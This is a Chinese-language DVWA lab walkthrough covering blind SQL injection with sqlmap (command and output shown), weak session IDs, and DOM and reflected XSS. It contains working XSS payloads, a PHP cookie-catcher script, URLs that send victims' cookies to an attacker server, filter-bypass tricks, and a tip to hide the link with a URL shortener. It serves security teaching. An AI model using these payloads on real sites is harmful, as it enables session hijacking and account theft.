声明、安装、攻略视频在攻略一中有写这里不多赘述

SQL Injection (Blind)(SQL注入 - 盲注)

盲注,顾名思义,没有具体回显,只会显示 有 或 无

Low:

首先看一下目的:

再看下源码:

手工盲注太蠢了,我就不演示了,也没时间,我们用sqlmap工具进行盲注。

但是我们也不要做脚本小子,我们需要知道自己在做什么,而不是复制粘贴,这样什么都学不到。


📢知识是全人类共有的财富,但能否成为你的力量,取决于你能否将其内化为智慧。


你可以使用kali或者GitHub上下载在Windows上使用,他实质上就是个py脚本,有Python环境即可运行。

以管理员身份打开PowerShell切换至工具路径下,然后执python sqlmap.py就是运行脚本

需要用到的参-u 目标URL | --cookie添加Cookie,Cookie从下方图中获取:

我们这里执行:

python sqlmap.py -u "http://10.86.29.238/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=d39f1326428b80f6a4bfff220b8a6145; security=low"

然后所有询问均选Yes,最后可以查看结果:

......
sqlmap identified the following injection point(s) with a total of 3624 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4297=4297 AND 'qWLz'='qWLz&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6228 FROM (SELECT(SLEEP(5)))CaMu) AND 'LaGa'='LaGa&Submit=Submit
---
[15:35:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.63
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
......

答案显而易见,这里不多赘述。

Medium:

先看一下源码:

这里变成了下拉表单,不让输入了,并且也没有了URL传参。

后面的High和上题同样的,注入都是同样的手法,只不过盲注耗时耗力,如果没什么价值就不值得黑客这么做,但作为安全专家需要进行渗透测试确保系统无漏洞,即便无价值也有可能挖掘出更深的漏洞,不容忽视,只是教学这里我懒得再赘述了。

Weak Session IDs(弱会话标识符)

知识:

什么是Session ID?

Session ID是一个由服务器生成的唯一标识符,用于在服务器和客户端之间跟踪用户的会话状态。它在用户会话的开始时创建,并在整个会话期间保持不变。

俗话——Session ID就像是你在电影院的座位号。你买票进场后,工作人员会给你一个座位号,这个座位号只在你这场电影期间有效。通过这个座位号,工作人员可以找到你,给你送爆米花或者解答问题。同样,Session ID是服务器给你的一个“座位号”,用来在你浏览网站时识别你,确保你知道自己是谁,你在做什么。这个“座位号”通常是临时的,你离开网站后就失效了。

Session ID的作用

识别用户、状态管理、会话持久性

什么是Cookie?

Cookie是Web服务器存储在用户浏览器上的小文本文件,用于跟踪用户的状态信息。它通常包含用户会话的标识符(如Session ID)、个性化设置、登录状态等信息。

Cookie的作用

会话管理、个性化设置、流量分析、广告定位

Low:

先看目的:

看一下源码:

每次生成新的session都会在原有的基础上加1

Medium:

先看源码:

再看一下目前获得的Session ID:

结合在源码中看到的time合理推断这是根据时间戳定义的Session ID

High:

先看一下源码:

这个东西有些弱智的,这里看到Low级别的代码基础上加上了md5加密。

这里我就不多赘述了。

DOM Based Cross Site Scripting (XSS)(DOM型跨站脚本)

Low:

先看目的:

再看源码

没有保护措施,一切皆有可能

这里我们点一下Select可以看到域名后出现了:?default=English

我们用最简单最常用的<script>alert(1)</script>添加在English后,随后回车:

我们现在开始构建攻击页面,在攻击者服务器上的网站根目录下创建 Cookiein.php 文件。

注意需要有 php 环境才可以操作!文件中添加如下内容:

<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt', $cookie);
?>

创建touch /var/www/html/cookie.txt

加权chmod 777 /var/www/html/cookie.txt

随后将有道链接发给受害者诱导其访问链接:(这里仅是做题,简陋一些不要在意)

http://10.86.29.238/DVWA/vulnerabilities/xss_d/?default=<script>document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie;</script>

你也可以做成短链接,这样看不出来。在对方访问后你就可以查看cookie.txt文件中对方账户的Cookie了

Medium:

先看一下源码:

这里服务器端过滤了<script标签,需要使用其他方法绕过。例如,利用 HTML 标签的事件处理器,这里通过<img>标签的onerror事件触发 JavaScript 代码:

http://10.86.29.238/DVWA/vulnerabilities/xss_d/?default=</option></select><img src=x onerror=document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie>

High:

依旧是看源码:

image-czDP.png

这里对输入进行了白名单过滤,只允许特定的语言值。可以通过 URL 的#符号绕过

浏览器会处理#后面的内容,而服务器端不会将其作为查询参数

http://10.86.29.238/DVWA/vulnerabilities/xss_d/?default=English#<script>document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie;</script>

Reflected Cross Site Scripting (XSS)(反射型跨站脚本)

Low:

老样子先看目的:

image-SCRA.png

我们直接在输入框输入<script>alert(document.cookie)</script>拿到当前用户的Cookie了

现在构造恶意链接:

http://10.86.29.238/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

验证成功

这边和上题一样,都可以通过在攻击者服务器上构造恶意脚本,然后再请求链接中包含攻击服务器的恶意脚本链接。

依旧是这个:

http://10.86.29.238/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie;</script>

Medium:

先看一下源码:

这里和上题一样,太容易了,这里不多讲了

可以使用上一题一样的方法,或者上题没有讲到的:

大小写混淆:<ScRipt></script>

双写绕过:<sc<script></script>

这里源码只验证标签头,并没有验证标签封闭,所以只改头不改尾。

High不多赘述了


攻略三到此结束,下期不知道什么时候更新